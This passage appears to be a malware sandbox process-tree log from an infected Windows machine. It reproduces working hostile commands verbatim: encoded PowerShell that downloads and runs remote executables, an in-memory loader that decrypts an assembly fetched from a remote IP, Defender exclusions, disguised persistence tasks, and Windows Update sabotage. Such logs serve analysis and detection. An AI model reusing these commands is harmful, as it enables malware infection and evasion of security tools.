    "C:\Windows\System32\schtasks.exe" /Create /F /TN "WindowsSecurity" /SC ONLOGON /TR "C:\ProgramData\WindowsSecurity.exe" /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:2368
- - C:\ProgramData\WindowsSecurity.exe
    "C:\ProgramData\WindowsSecurity.exe"
    3⤵
    PID:1184
- - C:\Users\Public\svchost.exe
    "C:\Users\Public\svchost.exe"
    3⤵
    PID:1956
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAcAB2ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AZgB2AGkAYQB0AG8AbwBsAC4AYwBvAG0ALwBnAGUAdAAuAGUAeABlACcALAAgADwAIwBuAGsAaQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAdgBrACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAcQBxACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGcAZQB0AC4AZQB4AGUAJwApACkAPAAjAHMAYwBwACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGcAZQBhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBoAG0AcwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBnAGUAdAAuAGUAeABlACcAKQA8ACMAYwB3AHUAIwA+AA=="
      4⤵
      PID:3888
    - - C:\Users\Admin\AppData\Roaming\get.exe
        
        "C:\Users\Admin\AppData\Roaming\get.exe"
        5⤵
        
        PID:5944
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAcgBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGwAZwBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGoAZwBoACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGUAdgByACMAPgA="
        6⤵
        
        PID:3192
      - C:\Users\Admin\AppData\Roaming\SecurityHealthSystray.exe
        
        "C:\Users\Admin\AppData\Roaming\SecurityHealthSystray.exe"
        6⤵
        Executes dropped EXE
        
        PID:1520
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\Bypass.exe'
        7⤵
        
        PID:5428
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /F /TN "Bypass" /SC ONLOGON /TR "C:\Windows\System32\Bypass.exe" /RL HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:4032
        
        C:\Windows\System32\Bypass.exe
        
        "C:\Windows\System32\Bypass.exe"
        7⤵
        
        PID:5836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp234.tmp.bat""
        7⤵
        
        PID:4168
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        8⤵
        Delays execution with timeout.exe
        
        PID:6036
      - C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe
        
        "C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"
        6⤵
        
        PID:1964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe'
        7⤵
        
        PID:5612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsSecurity.exe'
        7⤵
        
        PID:5528
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSecurity.exe'
        7⤵
        
        PID:3996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBACF.tmp.bat""
    3⤵
    PID:1844
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:3864
- C:\Users\Admin\AppData\Local\Temp\Files\elevator.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\elevator.exe"
  2⤵
  PID:1460
- C:\Users\Admin\AppData\Local\Temp\Files\gookcom.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\gookcom.exe"
  2⤵
  PID:2052
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command if ([System.Environment]::GetEnvironmentVariables().Count -lt 10) {exit -65536;} $danaAlannah = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('OTEuMjE1Ljg1LjE5OA==')); $aramisAlannah = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('NDE2OTU=')); $sherpasReparel = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('NTBhNjg=')); $oberonDana = new-object System.Net.Sockets.TcpClient; $oberonDana.Connect($danaAlannah, [int]$aramisAlannah); $alannahArain = $oberonDana.GetStream(); $oberonDana.SendTimeout = 300000; $oberonDana.ReceiveTimeout = 300000; $gliomaArain = [System.Text.StringBuilder]::new(); $gliomaArain.AppendLine('GET /' + $sherpasReparel); $gliomaArain.AppendLine('Host: ' + $danaAlannah); $gliomaArain.AppendLine(); $gliomaAramis = [System.Text.Encoding]::ASCII.GetBytes($gliomaArain.ToString()); $alannahArain.Write($gliomaAramis, 0, $gliomaAramis.Length); $onusArain = New-Object System.IO.MemoryStream; $alannahArain.CopyTo($onusArain); $alannahArain.Dispose(); $oberonDana.Dispose(); $onusArain.Position = 0; $gliomaSowback = $onusArain.ToArray(); $onusArain.Dispose(); $sowbackAlannah = [System.Text.Encoding]::ASCII.GetString($gliomaSowback).IndexOf('`r`n`r`n')+1; $gliomaAlannah = [System.Text.Encoding]::ASCII.GetString($gliomaSowback[$sowbackAlannah..($gliomaSowback.Length-1)]); $gliomaAlannah = [System.Convert]::FromBase64String($gliomaAlannah); $sherpasSowback = New-Object System.Security.Cryptography.AesManaged; $sherpasSowback.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sherpasSowback.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $sherpasSowback.Key = [System.Convert]::FromBase64String('yhw+bQ6dDyupOV1xzuOhL65Top3x+yWenlXd6UEYqAM='); $sherpasSowback.IV = [System.Convert]::FromBase64String('pXmM/4stDHWwo+KOQjpI+A=='); $sherpasAramis = $sherpasSowback.CreateDecryptor(); $gliomaAlannah = $sherpasAramis.TransformFinalBlock($gliomaAlannah, 0, $gliomaAlannah.Length); $sherpasAramis.Dispose(); $sherpasSowback.Dispose(); $alannahSherpas = New-Object System.IO.MemoryStream(, $gliomaAlannah); $aramisSherpas = New-Object System.IO.MemoryStream; $oberonAramis = New-Object System.IO.Compression.GZipStream($alannahSherpas, [IO.Compression.CompressionMode]::Decompress); $oberonAramis.CopyTo($aramisSherpas); $gliomaAlannah = $aramisSherpas.ToArray(); $onusSherpas = [System.Reflection.Assembly]::Load($gliomaAlannah); $aramisArain = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZHJlbnRJb3M=')); $onusGlioma = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('c293YmFja0FyYWlu')); $onusSowback = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('b251c0FsYW5uYWg=')); $reparelGlioma = $onusSherpas.GetType($aramisArain + '.' + $onusGlioma); $sherpasOberon = $reparelGlioma.GetMethod($onusSowback); $sherpasOberon.Invoke($alannahSowback, (, [string[]] (''))); #($alannahSowback, $alannahSowback);
    3⤵
    PID:1756
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 1728
    3⤵
    - Program crash
    PID:4372
- C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe"
  2⤵
  PID:1940
- - C:\Windows\syspolrvcs.exe
    C:\Windows\syspolrvcs.exe
    3⤵
    PID:5008
  - - C:\Users\Admin\AppData\Local\Temp\125323166.exe
      C:\Users\Admin\AppData\Local\Temp\125323166.exe
      4⤵
      PID:2036
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 268
        5⤵
        Program crash
        
        PID:3512
  - - C:\Users\Admin\AppData\Local\Temp\2296424173.exe
      C:\Users\Admin\AppData\Local\Temp\2296424173.exe
      4⤵
      PID:5208
- C:\Users\Admin\AppData\Local\Temp\Files\ofg7d45fsdfgg312.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ofg7d45fsdfgg312.exe"
  2⤵
  PID:2304
- - C:\Windows\SysWOW64\SCHTASKS.exe
    SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Temp\Files\ofg7d45fsdfgg312.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:3580
- C:\Users\Admin\AppData\Local\Temp\Files\lolMiner.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\lolMiner.exe"
  2⤵
  PID:1532
- C:\Users\Admin\AppData\Local\Temp\Files\Atqumy.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Atqumy.exe"
  2⤵
  PID:440
- C:\Users\Admin\AppData\Local\Temp\Files\WILD_PRIDE.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\WILD_PRIDE.exe"
  2⤵
  PID:5756
- C:\Users\Admin\AppData\Local\Temp\Files\Kcqqn.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Kcqqn.exe"
  2⤵
  PID:2028
- C:\Users\Admin\AppData\Local\Temp\Files\Project_8.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Project_8.exe"
  2⤵
  PID:5408
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5408 -s 236
    3⤵
    - Program crash
    PID:5324
- C:\Users\Admin\AppData\Local\Temp\Files\dmi1dfg7n.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\dmi1dfg7n.exe"
  2⤵
  PID:4076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
    3⤵
    PID:2984
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:5376
  - - C:\Users\Admin\AppData\Local\Temp\Files\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:4768
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        5⤵
        
        PID:5708
      - C:\Users\Admin\AppData\Local\Temp\Files\sc.exe
        
        C:\Users\Admin\AppData\Local\Temp\Files\sc.exe
        6⤵
        Launches sc.exe
        
        PID:5272
  - - C:\Users\Admin\AppData\Local\Temp\Files\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:4216
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        5⤵
        
        PID:4032
      - C:\Users\Admin\AppData\Local\Temp\Files\sc.exe
        
        C:\Users\Admin\AppData\Local\Temp\Files\sc.exe
        6⤵
        Launches sc.exe
        
        PID:4136
  - - C:\Users\Admin\AppData\Local\Temp\Files\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:1064
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        5⤵
        
        PID:4452
      - C:\Users\Admin\AppData\Local\Temp\Files\sc.exe
        
        C:\Users\Admin\AppData\Local\Temp\Files\sc.exe
        6⤵
        Launches sc.exe
        
        PID:6836
  - - C:\Users\Admin\AppData\Local\Temp\Files\sc.exe
      sc stop bits
      4⤵
      Launches sc.exe
      PID:7064
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        5⤵
        
        PID:6696
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
    3⤵
    PID:916
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-ac 0
      4⤵
      PID:5648
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-dc 0
      4⤵
      PID:5284
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-ac 0
      4⤵
      PID:3424
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-dc 0
      4⤵
      PID:1852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
    3⤵
    PID:4060
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:5200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
    3⤵
    PID:1016
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
      4⤵
      PID:5940
- C:\Users\Admin\AppData\Local\Temp\Files\pinguin.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\pinguin.exe"
  2⤵
  PID:5668
- C:\Users\Admin\AppData\Roaming\wshom\liveupdate.exe
  C:\Users\Admin\AppData\Roaming\wshom\liveupdate.exe
  2⤵
  PID:6120
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    PID:3768
  - - C:\Windows\System32\certutil.exe
      C:\Windows\System32\certutil.exe
      4⤵
      PID:848
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:4900
- C:\Users\Admin\AppData\Local\Temp\Files\ma.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"
  2⤵
  PID:6012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF9C7.tmp.bat""
    3⤵
    PID:2832
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:4596
  - - C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
      "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
      4⤵
      PID:3820
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
        5⤵
        
        PID:3192
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:5320
- C:\Users\Admin\AppData\Local\Temp\Files\sadsadsadsa.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\sadsadsadsa.exe"
  2⤵
  PID:5500
- C:\Users\Admin\AppData\Local\Temp\Files\Cheat.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Cheat.exe"
  2⤵
  PID:4812
- - C:\Users\Admin\AppData\Local\Temp\is-27EH2.tmp\Cheat.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-27EH2.tmp\Cheat.tmp" /SL5="$3014E,30157316,832512,C:\Users\Admin\AppData\Local\Temp\Files\Cheat.exe"
    3⤵
    PID:2276
- C:\Users\Admin\AppData\Local\Temp\Files\adm_atu.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\adm_atu.exe"
  2⤵
  PID:2820
- C:\Users\Admin\AppData\Local\Temp\Files\she.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\she.exe"
  2⤵
  PID:6544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAnAEgANABzAEkAQQBDAHQAOABLAEYAMABDAEEANwBWAFcALwAyAC8AYQBSAGgAVAAvAHUAWgBYADYAUAAxAGcAVABFAHIAWgBHAHcAUwBZAGsAVABTAHQAVgBtAGcAMAAyAHQAZwBzAEUATwBHAHcAQwBHAGEAcQBNAGYAZABnAFgAegBsADkAaQBuAHcATgAwADIALwArACsAZAA0AEQAVABiAEcAMgAzAGQAdABLAHMAUgBOAHkAOQBlADEAOAAvADcANwAxADcAdAB5AGsAVABuADUARQAwAEUAYgB5AHMARgBIADUANwA5AGYATABGADIATQB1ADkAVwBCAEIAcgBzAFcARQAyAGgARgBvAHgARwAwAGsAdgBYAGcAQwA1ADkAaABnAGsAdwBuAHQAQgB2AEYATwB6AHIASgBmAEcASABrAGwAVwA3ADkANQAxAHkAegB6AEgAQwBUAHYAdABtADMAMwBNADEASwBMAEEAOABaAG8AUwBYAEkAaQBTADgATABzAHcAagAzAEMATwBYADkAKwBzADcANwBIAFAAaABOACsARQAyAHMAZABtAG4ANgBaAHIAagA1ADcAWgBEAGwAMwBQAGoANwBEAHcAVwBrADAAQwBmAGoAWgBJAGYAWQArADcAMABrAFEAWgBKAFUAeQBzAC8ALwBwAHIAWABiAHAANwByAGEAeQBhACsAawBQAHAAMABVAEsAcwBvADAAUABCAGMATgB3AE0ASwBLADEATAB3AGgAOABTAE4AegBnADcAWgBGAGkAcwBEADQAbQBmAHAAMABXADYAWQBjADAANQBTAFMANwBhAFQAUwBjAHAAdgBBADAAZQBnAGIAWgBIAFAATQBRAHMAUwBvAE8AaQBMAGsARQBRADgASgBkAGoAVgB1AGEASgB3AE0AUABoADgAcQBkAFQAcwBRADcATABjAFoANwA2AGEAaABEAGsAdQBDAGoAcQBEAGUARwBPAGEANwA1AGIAcgBYADQAUgA3ADgANQBtAHAAMgBYAEMAUwBJAHkAYgBWAHMASgB3AG4AbQBZAEkANQA0AC8ARQB4ADAAWABUADkASgBLAEEANABpAG4AZQByAEUAQQBLAHMAWgB3AGsANABVAHEAUwBnAE8AMAB4ADMAVwBLAHgAbABwAFMAVQBOAG8AUQBmAFUAUwBPAE8AOABLADQAQwA3AFgAdQBGAHgATwBkAEMAdwBEAFYAbQB1AGQAUwBBAEwASAA0AFoANQBqAEEATgBTAG8AcABQAGcAdgBXAHYAKwBNAGsAVABMADgARgAzAFQAagA3AEEAOQBzAGUAcgBsADYAOQBlAGIAcQBvADYAVwBmAGQAdgA3AFAAYgB6AFMAbwBIAFYAaQA3AHYAagBHAG8ATgB6ADQAagBnAHQAeQBKAEgAeAB2AFMAQQAzAGgAQwBIAFkAOABWAGkAYQBIADIAQgBiAG0AKwBVAGwAbABsAFoAUAAwAEEAcQAxADUAUABIAGoAeAA3AHoAeABiAFEAVgBLAHgAUQAyADgAaAAxADAARwBsAEQAcwAzAEoAYwBFAEsASgBNADcAcAByAEoAVQBhADgAagBqADkAMgAyAFgAWgB3AHgAdQBTADQATgA0AGgAOABXAEwAaQBWADUAVQBuAGYAZwAxAGsAdgBLAEgANABHAEcAUwB6AFkAaAB1AEIAVAAyAEwAOQBmAEkAQwBEAEgAcQBZADQAOQBCAGoASABqAGUAZgA2AEMAegBFADkASgB1AHgASgBWAGkAcwBKAEQAWABDAHUAKwBwAEMAbwBBAHIAeQBDAEgARQBwAC8AZABlAGEAVQBDAHIARgB1AEoAVQBNAGMAQQAwAGEAbgBQAFIAUgBmAGIAUQBQADEAagBpAHYAdQBjADQAMABmAEsAdQB0ADgARAAwAHoAMQBMAHYAVwBLAG8AaQBHAE0AUwAyAGcANAB2AHkARQBnADcARgBFAGMATgBBAFEAMQBLAGMAagA1AFMAQwAxAFoAZQBsAHoAVwBQADcAcwA3AEwAQwBrAGoAdgBsAGUAdwBTAHQAMQBLAHEAbgBBADgAMgArAHUAbQBTAGMASAB5ADAAbwBlADAAUQBlAHcAegBsAEcARwBmAGUASgBSAEQAMABSAEIATQBFAG0ARAB0AGcARQBoAFkAMgBhADEALwBGAFkAaQB1AFIAeQBuADAAQQBXAGgANgBoAEUAUQBBAGgAUQBPAEEARwBDACsARwBIAEYAdwA4AEoAVgA1AHEASQBzAHkAcwBPAEsATQA0AEIAcQBaAGoANgB4AHYAVQBDADYASABSAHoAKwBWACsATABCADgAdgB4AEUASAA5ADcAeQA1AFcAOQBYAHcAcQBYAGcANQBHAGgAYwBJAHoAQgB5AEgARABpAEsAYQBzAEkAYgBnAGsAWgAzAEMARABjAEcAQwBoAGkAdgA2AGoAKwBXAGQAMwB4ADkARwBSAGIAbwA3AFAAdQBSAEMAcgBIAHIAbgBUAEQAbwB3AFgAZABtADIAagB2AGUARQAxAGUAYwBiAGwAaQBFAEwATwBBAEEARQBqAFQAMgBQAE4ASwAvAEIAVgA1ADMAUgBQAGkARAArADEAZABOAEsANwBIAFAAZgBTAFQAeQBwADgAdQBqAEcAZAB1AEIAcAB5ADMASwBVADEARABHAHkASwBMAEkAWQBXAE8AaABrADQAVQBXAFEAUgB4AFEAcABoAGYAMwBEADAAYwBNAHoAawA3AE0ATgBzAFoAdABxAG8AWgA2AHAANQBiAHgAOQB0AFYASwB1AHcAZABGAE0ANwBUAEIAUgBOADkAVQAzAHkAeAByAFUAMQB4AHcARQA1ADAAaAAxAE0ANwB2AGUAVwBHAG0AaAB4AGUAQgBzAHUAdQBqAHQAcgBIAE4AMQBhAFkASwBnADcAQwBLADAAUQBmAGoAVQByADgAagBWADUASwBZAGUAYQBiAEgAUQBIAFMASQB0ADAASQBxAHMAaABtAHAAaQBUAGoAcgBLADAAVwB0AGQAVQBJADUAKwBRAGgAVgBSAHoALwBtAFQAdgB5AFkANwBlADYAWgBpADMAKwA1AGsANgBHAHQAcABxAFoATgB3AEUAaAB0AEkAMgBqAHYASgBiAEwAcgAvAGMAOQBnAGMAOQAvAGIAagAzACsAWAA2AHkASwBIAFMAaQBnAHgAMwBkAFcARQB6AGMAQwBNAC8AZABUAEoAdgByAHgAbgBMAGkAWgBsAGIANAA4AHkANgBjAHUASQBOAFcAeAA0AGcAMABvAEYAdABrAFAAOABoAFEAQwB6ADUARgBBAFIAegBZAEQASwAwAHYATAA3AHoANQBaAGIAYQBPAFgAUgBrAHcAbQBpAE0AcgBpAFoAQwAvADYAYwA1AE0AUAA5AFoAYQBMAGQAZABSAFIAaABiAEIAeABtAHkAKwBsAGYAYwA3AFgAZAA0AGYAMwBCAEgASQBwAEYAZAB1AEUAaQBjAGMAVgBuAFgAYwBjAHEAOQBVAG0AYQArAFUAdwBiADAAdQAzADMAUQA3AG4ANABhAGsAYwB4AGoAZQBXACsAcAA4AFMAKwB5AGQAawA1AGkANwBjAFEARwBBAGEASwBPAGgAVAAyAGQATwBPACsAMAA1AGMAbgB6AGwAZAB1AEwATgBuAHMATwBrADkAbABvAEsAagBxADcANABhAHQARAB1AEsASABQAGQALwByAEIAbwA3ADQAMABnAGQAZwAwADMAcABzAGkAUgA5AHoATQBrAEwAMwBmAHIAZABqAEQARwBqAGkAMwA3AC8AWAAyADYAdgBOAGUAcwBtAGIATwBQAC8AZgBsADEARwB6AHQAVQBXAFoAdQBHAHUAWgB4AGYAVABpAGYAYgA2AFcAQwA1AG4AUgBxAEIAcQBZADIASABjAFQAWgBCAE8AbAAwAHUANQBCAEYAQwAyADYAVwAxAGIAbAA5ADIAWgBzAGwAawBqAC8AWABvAEIAbwBJAHkAcAAzAEoARQBQAGQAbQAvAGMAQgBMADEAMAAxAG8AWgBRAGYAUQB5AGMAeABQAGEAQwA1AHoAcABoAFUAdQBVAE4AcAA1AGYATABtAGQAeAB0AGgAdwA0AEkAdwBkADAAZQA0AHYAMgA1AFIASgBOAE4ASQB2ADQASABBAHQAagB3AFgAUABtAHkASwBTAGoAOQBqADYARQAwAFIARQBJAGIAUQBKAFkAMgBmAHYAcgBRAGUANgBpAHoAcAB2AFcAVwB4AGQANABsAHcAOQBkACsAdABZAGkARwArAFAAQgBWAEQATABrAFcAUwBxAFUAbwBtAFkAVAByAEQAMQBvAGsAQgArADAAegBwAFIAcABkAHQAVwB2AGMAQQBTAGQAcQBxAE4AawBuAEoAOQBqAGQAYwBKAEwAQgB2AHkASQAzAE8AKwBiAGoAeQAxAGwAYwBhAHMARwAwADcAZgBXAC8AcgBwAHYANgBUAHQAVgBCAFgAbgA5AHUAbgBjAGIAVgB2AEoAbwAzAEIAbwBIADYAaQBCAC8ASwBDAE8AWABrAHgAeQBGAFAAawB5AE0AegBDAFkAQQBTAEMAZgBTAHcARABkAG8AQQAvAFUAbwB0ADgAaQBNAE0AWAAyAFMAcwAwA